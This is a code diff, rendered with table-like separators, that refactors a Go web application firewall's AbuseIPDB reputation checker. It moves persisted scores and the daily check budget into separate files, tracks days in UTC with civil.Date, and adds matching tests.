||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -37,22 +36,21 @@ var (
|
|||||||
"checks spent; none is made until the day ends at 00:00 UTC")
|
"checks spent; none is made until the day ends at 00:00 UTC")
|
||||||
)
|
)
|
||||||
|
|
||||||
// Score is what AbuseIPDB said about a client, as reputation.json holds
|
// Score is what AbuseIPDB said about a client, as abuseipdb-scores.json
|
||||||
// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
|
// holds it: the client, an IPv4 address or an IPv6 group, its abuse
|
||||||
// score, from 0 to 100, and when AbuseIPDB answered.
|
// confidence score, from 0 to 100, and when AbuseIPDB answered.
|
||||||
type Score struct {
|
type Score struct {
|
||||||
Client netip.Prefix `json:"client"`
|
Client netip.Prefix `json:"client"`
|
||||||
Score int64 `json:"score"`
|
Score int64 `json:"score"`
|
||||||
Fetched time.Time `json:"fetched"`
|
Fetched time.Time `json:"fetched"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// Checks are what reputation.json keeps of the checks of clients with
|
// ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
|
||||||
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
|
// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
|
||||||
// first, and the scores still in use.
|
// zero before the first.
|
||||||
type Checks struct {
|
type ChecksSpent struct {
|
||||||
Day time.Time `json:"day,omitzero"`
|
Day civil.Date
|
||||||
Spent int `json:"spent"`
|
Spent int
|
||||||
Scores []Score `json:"scores"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||||
@@ -93,7 +91,7 @@ type AbuseIPDB struct {
|
|||||||
// checking are the clients whose check is under way.
|
// checking are the clients whose check is under way.
|
||||||
checking map[netip.Prefix]bool
|
checking map[netip.Prefix]bool
|
||||||
// day is the day, in UTC, of the checks spent counts.
|
// day is the day, in UTC, of the checks spent counts.
|
||||||
day time.Time
|
day civil.Date
|
||||||
spent int
|
spent int
|
||||||
// checks and failures count the checks made and those that failed,
|
// checks and failures count the checks made and those that failed,
|
||||||
// and retryAt is when a client may be checked again after the last
|
// and retryAt is when a client may be checked again after the last
|
||||||
@@ -143,7 +141,7 @@ func (a *AbuseIPDB) Hit(
|
|||||||
return kept.Score, kept.Score >= a.params.MinScore
|
return kept.Score, kept.Score >= a.params.MinScore
|
||||||
}
|
}
|
||||||
|
|
||||||
if today := now.Truncate(day); !a.day.Equal(today) {
|
if today := civil.DateOf(now.UTC()); a.day != today {
|
||||||
a.day, a.spent = today, 0
|
a.day, a.spent = today, 0
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -190,42 +188,42 @@ func (a *AbuseIPDB) BudgetLeft() int {
|
|||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
defer a.mu.Unlock()
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
if !a.day.Equal(a.params.Now().Truncate(day)) {
|
if a.day != civil.DateOf(a.params.Now().UTC()) {
|
||||||
return a.params.DailyBudget
|
return a.params.DailyBudget
|
||||||
}
|
}
|
||||||
|
|
||||||
return max(a.params.DailyBudget-a.spent, 0)
|
return max(a.params.DailyBudget-a.spent, 0)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns the checks spent and every score still in use, sorted
|
// Snapshot returns every score still in use, sorted by client, as
|
||||||
// by client, as reputation.json keeps them.
|
// abuseipdb-scores.json keeps them.
|
||||||
func (a *AbuseIPDB) Snapshot() Checks {
|
func (a *AbuseIPDB) Snapshot() []Score {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
|
|
||||||
now := a.params.Now()
|
now := a.params.Now()
|
||||||
checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
|
scores := make([]Score, 0, a.scores.Len())
|
||||||
|
|
||||||
for _, kept := range a.scores.Values() {
|
for _, kept := range a.scores.Values() {
|
||||||
if now.Sub(kept.Fetched) < a.params.CacheTTL {
|
if now.Sub(kept.Fetched) < a.params.CacheTTL {
|
||||||
checks.Scores = append(checks.Scores, kept)
|
scores = append(scores, kept)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
a.mu.Unlock()
|
a.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(checks.Scores, func(x, y Score) int {
|
slices.SortFunc(scores, func(x, y Score) int {
|
||||||
return x.Client.Compare(y.Client)
|
return x.Client.Compare(y.Client)
|
||||||
})
|
})
|
||||||
|
|
||||||
return checks
|
return scores
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps checks, read from reputation.json, in place of those it
|
// Load keeps scores, read from abuseipdb-scores.json, in place of those
|
||||||
// keeps, but for the scores past maxVerdicts, those fetched longest ago.
|
// it keeps, but for the scores past maxVerdicts, those fetched longest
|
||||||
// One fetched CacheTTL ago or more is neither used nor written, as for any
|
// ago. One fetched CacheTTL ago or more is neither used nor written, as
|
||||||
// score.
|
// for any score.
|
||||||
func (a *AbuseIPDB) Load(checks Checks) {
|
func (a *AbuseIPDB) Load(scores []Score) {
|
||||||
scores := slices.Clone(checks.Scores)
|
scores = slices.Clone(scores)
|
||||||
slices.SortStableFunc(scores, func(x, y Score) int {
|
slices.SortStableFunc(scores, func(x, y Score) int {
|
||||||
return x.Fetched.Compare(y.Fetched)
|
return x.Fetched.Compare(y.Fetched)
|
||||||
})
|
})
|
||||||
@@ -233,7 +231,6 @@ func (a *AbuseIPDB) Load(checks Checks) {
|
|||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
defer a.mu.Unlock()
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
a.day, a.spent = checks.Day, checks.Spent
|
|
||||||
a.scores.Purge()
|
a.scores.Purge()
|
||||||
|
|
||||||
for _, kept := range scores {
|
for _, kept := range scores {
|
||||||
@@ -241,11 +238,33 @@ func (a *AbuseIPDB) Load(checks Checks) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
|
||||||
|
// keeps them.
|
||||||
|
func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
|
||||||
|
a.mu.Lock()
|
||||||
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
|
return ChecksSpent{Day: a.day, Spent: a.spent}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
|
||||||
|
// place of the checks spent.
|
||||||
|
func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
|
||||||
|
a.mu.Lock()
|
||||||
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
|
a.day, a.spent = checks.Day, checks.Spent
|
||||||
|
}
|
||||||
|
|
||||||
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
||||||
// the score as client's, and notes the check as no longer under way. A
|
// the score as client's, and notes the check as no longer under way. A
|
||||||
// check that fails gives no score: it is counted, logged and raised as a
|
// check that fails gives no score: it is counted, logged and raised as a
|
||||||
// source_failure alert, and no client is checked for failureDelay.
|
// source_failure alert, and no client is checked for failureDelay.
|
||||||
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
func (a *AbuseIPDB) check(
|
||||||
|
ctx context.Context,
|
||||||
|
client netip.Prefix,
|
||||||
|
addr netip.Addr,
|
||||||
|
) {
|
||||||
score, err := a.ask(ctx, addr)
|
score, err := a.ask(ctx, addr)
|
||||||
now := a.params.Now()
|
now := a.params.Now()
|
||||||
|
|
||||||
@@ -254,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
|
|||||||
delete(a.checking, client)
|
delete(a.checking, client)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
|
a.scores.Add(
|
||||||
|
client,
|
||||||
|
Score{Client: client, Score: score, Fetched: now},
|
||||||
|
)
|
||||||
} else {
|
} else {
|
||||||
a.failures++
|
a.failures++
|
||||||
a.retryAt = now.Add(failureDelay)
|
a.retryAt = now.Add(failureDelay)
|
||||||
@@ -270,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
|
|||||||
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
||||||
// in the header Key. An answer other than 200, one that gives no score,
|
// in the header Key. An answer other than 200, one that gives no score,
|
||||||
// and none within Timeout, fail.
|
// and none within Timeout, fail.
|
||||||
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
|
func (a *AbuseIPDB) ask(
|
||||||
|
ctx context.Context,
|
||||||
|
addr netip.Addr,
|
||||||
|
) (int64, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
@@ -306,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
|
|||||||
} `json:"data"`
|
} `json:"data"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
|
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
|
||||||
|
Decode(&answer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("read the answer: %w", err)
|
return 0, fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
@@ -324,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) {
|
|||||||
// Raised before it is logged, so that the alert is there once the log
|
// Raised before it is logged, so that the alert is there once the log
|
||||||
// line is.
|
// line is.
|
||||||
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
||||||
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
|
a.params.ProcessLog.Warn(
|
||||||
|
reason,
|
||||||
|
"source",
|
||||||
|
AbuseIPDBSource,
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
@@ -17,6 +17,7 @@ import (
|
|||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"cloud.google.com/go/civil"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
@@ -40,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
// A client that has committed no offence is not checked.
|
// A client that has committed no offence is not checked.
|
||||||
@@ -59,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
|
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -67,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.
|
|||||||
// it of its own.
|
// it of its own.
|
||||||
var addresses []string
|
var addresses []string
|
||||||
for i := 1; i < 16; i++ {
|
for i := 1; i < 16; i++ {
|
||||||
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
|
addresses = append(
|
||||||
|
addresses,
|
||||||
|
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{addresses[0]: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
// A request from each has the client checked once, by the first.
|
// A request from each has the client checked once, by the first.
|
||||||
@@ -95,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
|
scores := map[string]int64{
|
||||||
|
"192.0.2.74": 74,
|
||||||
|
"192.0.2.75": 75,
|
||||||
|
"192.0.2.100": 100,
|
||||||
|
}
|
||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.MinScore = 75
|
p.MinScore = 75
|
||||||
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
||||||
@@ -116,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
hitFrom(t, checker, suspect, true)
|
hitFrom(t, checker, suspect, true)
|
||||||
@@ -140,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -151,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|||||||
p.DailyBudget = 3
|
p.DailyBudget = 3
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// At noon, the first three offenders spend the budget, and the
|
// At noon, the first three offenders spend the budget, and the
|
||||||
@@ -172,18 +192,26 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|||||||
// The check that used the budget up raised the alert, and logged it.
|
// The check that used the budget up raised the alert, and logged it.
|
||||||
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
||||||
|
|
||||||
wantFailureAlert(t, queue, time.Now(), usedUp,
|
wantFailureAlert(
|
||||||
"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
|
t,
|
||||||
|
queue,
|
||||||
|
time.Now(),
|
||||||
|
usedUp,
|
||||||
|
"3 checks spent; none is made until the day ends at 00:00 UTC",
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
||||||
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted with what reputation.json keeps, it uses the scores, and
|
// Restarted with what abuseipdb-scores.json and
|
||||||
// checks no client until the day ends.
|
// abuseipdb-checks-spent.json keep, it uses the scores, and checks
|
||||||
|
// no client until the day ends.
|
||||||
restarted := &abuseIPDBStandIn{}
|
restarted := &abuseIPDBStandIn{}
|
||||||
again := newAbuseIPDB(restarted, p)
|
again := newAbuseIPDB(restarted, p)
|
||||||
again.Load(checker.Snapshot())
|
again.Load(checker.Snapshot())
|
||||||
|
again.LoadChecksSpent(checker.ChecksSpent())
|
||||||
|
|
||||||
wantScore(t, again, suspect, true, 100, true)
|
wantScore(t, again, suspect, true, 100, true)
|
||||||
wantBudgetLeft(t, again, 0)
|
wantBudgetLeft(t, again, 0)
|
||||||
@@ -202,7 +230,44 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
|
||||||
|
ahead := time.FixedZone("UTC+14", 14*60*60)
|
||||||
|
p := abuseIPDBParams()
|
||||||
|
p.DailyBudget = 1
|
||||||
|
p.Now = func() time.Time { return time.Now().In(ahead) }
|
||||||
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
|
// At 09:00 UTC the one check is spent.
|
||||||
|
time.Sleep(9 * time.Hour)
|
||||||
|
hitFrom(t, checker, suspect, true)
|
||||||
|
synctest.Wait()
|
||||||
|
wantBudgetLeft(t, checker, 0)
|
||||||
|
|
||||||
|
// At 11:00 UTC the clock's day has changed, but the UTC day has not.
|
||||||
|
time.Sleep(2 * time.Hour)
|
||||||
|
wantBudgetLeft(t, checker, 0)
|
||||||
|
|
||||||
|
want := civil.Date{Year: 2000, Month: 1, Day: 1}
|
||||||
|
if day := checker.ChecksSpent().Day; day != want {
|
||||||
|
t.Errorf("checks spent on %s, want on %s", day, want)
|
||||||
|
}
|
||||||
|
|
||||||
|
// At 00:00 UTC the budget is whole again.
|
||||||
|
time.Sleep(13 * time.Hour)
|
||||||
|
wantBudgetLeft(t, checker, 1)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -246,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
p.Key = tc.key
|
p.Key = tc.key
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
status: tc.status,
|
||||||
|
body: tc.body,
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// The failure gives no score, and no client is checked within a
|
// The failure gives no score, and no client is checked within a
|
||||||
@@ -265,7 +333,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
wantChecked(t, abuseIPDB, suspect, other)
|
wantChecked(t, abuseIPDB, suspect, other)
|
||||||
wantFailures(t, checker, 2)
|
wantFailures(t, checker, 2)
|
||||||
|
|
||||||
if scores := checker.Snapshot().Scores; len(scores) != 0 {
|
if scores := checker.Snapshot(); len(scores) != 0 {
|
||||||
t.Errorf("scores %+v, want none", scores)
|
t.Errorf("scores %+v, want none", scores)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -274,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
||||||
"checking a client with AbuseIPDB failed", tc.error, 1)
|
"checking a client with AbuseIPDB failed", tc.error, 1)
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"checking a client with `+
|
if !strings.Contains(
|
||||||
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"checking a client with `+
|
||||||
|
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -283,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
|
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -310,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
|
|||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFailures(t, checker, 1)
|
wantFailures(t, checker, 1)
|
||||||
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
|
wantFailureAlert(
|
||||||
"check the client: context deadline exceeded", 0)
|
t,
|
||||||
|
queue,
|
||||||
|
time.Now(),
|
||||||
|
"checking a client with AbuseIPDB failed",
|
||||||
|
"check the client: context deadline exceeded",
|
||||||
|
0,
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -325,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
m.AddReputation(
|
||||||
|
reputation.New(params()),
|
||||||
|
reputation.NewDNSBL(dnsblParams()),
|
||||||
|
)
|
||||||
m.AddAbuseIPDB(checker)
|
m.AddAbuseIPDB(checker)
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one it refuses with an answer
|
// One check that AbuseIPDB answers, and one it refuses with an answer
|
||||||
@@ -337,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantScore(t, checker, suspect, true, 100, true)
|
wantScore(t, checker, suspect, true, 100, true)
|
||||||
|
|
||||||
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
|
abuseIPDB.answerWith(
|
||||||
|
http.StatusUnauthorized,
|
||||||
|
`{"errors":[{"detail":"`+key+`"}]}`,
|
||||||
|
)
|
||||||
wantScore(t, checker, other, true, 0, false)
|
wantScore(t, checker, other, true, 0, false)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFailures(t, checker, 1)
|
wantFailures(t, checker, 1)
|
||||||
@@ -362,7 +449,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
|
|
||||||
for name, shown := range map[string]string{
|
for name, shown := range map[string]string{
|
||||||
"the log": log.String(), "the alerts": string(alerted),
|
"the log": log.String(), "the alerts": string(alerted),
|
||||||
"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
|
"the metrics": scrapeMetrics(t, m), "abuseipdb-scores.json": string(kept),
|
||||||
} {
|
} {
|
||||||
if strings.Contains(shown, key) {
|
if strings.Contains(shown, key) {
|
||||||
t.Errorf("%s shows the key:\n%s", name, shown)
|
t.Errorf("%s shows the key:\n%s", name, shown)
|
||||||
@@ -380,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
|
|||||||
p.DailyBudget = 5
|
p.DailyBudget = 5
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
m.AddReputation(
|
||||||
|
reputation.New(params()),
|
||||||
|
reputation.NewDNSBL(dnsblParams()),
|
||||||
|
)
|
||||||
m.AddAbuseIPDB(checker)
|
m.AddAbuseIPDB(checker)
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one that fails.
|
// One check that AbuseIPDB answers, and one that fails.
|
||||||
@@ -425,18 +515,20 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
|
|||||||
Fetched: now.Add(-cacheTTL),
|
Fetched: now.Add(-cacheTTL),
|
||||||
}
|
}
|
||||||
|
|
||||||
checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
|
checker.Load([]reputation.Score{stale, inUse})
|
||||||
|
|
||||||
wantScore(t, checker, suspect, false, 100, true)
|
wantScore(t, checker, suspect, false, 100, true)
|
||||||
wantScore(t, checker, other, false, 0, false)
|
wantScore(t, checker, other, false, 0, false)
|
||||||
|
|
||||||
got := checker.Snapshot().Scores
|
got := checker.Snapshot()
|
||||||
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
|
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
|
||||||
t.Errorf("scores %+v, want only %+v", got, inUse)
|
t.Errorf("scores %+v, want only %+v", got, inUse)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -444,7 +536,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
|
|||||||
p.Now = func() time.Time { return now }
|
p.Now = func() time.Time { return now }
|
||||||
checker := reputation.NewAbuseIPDB(p)
|
checker := reputation.NewAbuseIPDB(p)
|
||||||
|
|
||||||
// 100,001 scores, listed by client, as reputation.json lists them, each
|
// 100,001 scores, listed by client, as abuseipdb-scores.json lists them, each
|
||||||
// fetched a millisecond before the one before it: the last is one too
|
// fetched a millisecond before the one before it: the last is one too
|
||||||
// many.
|
// many.
|
||||||
const count = 100001
|
const count = 100001
|
||||||
@@ -460,12 +552,15 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
|
|||||||
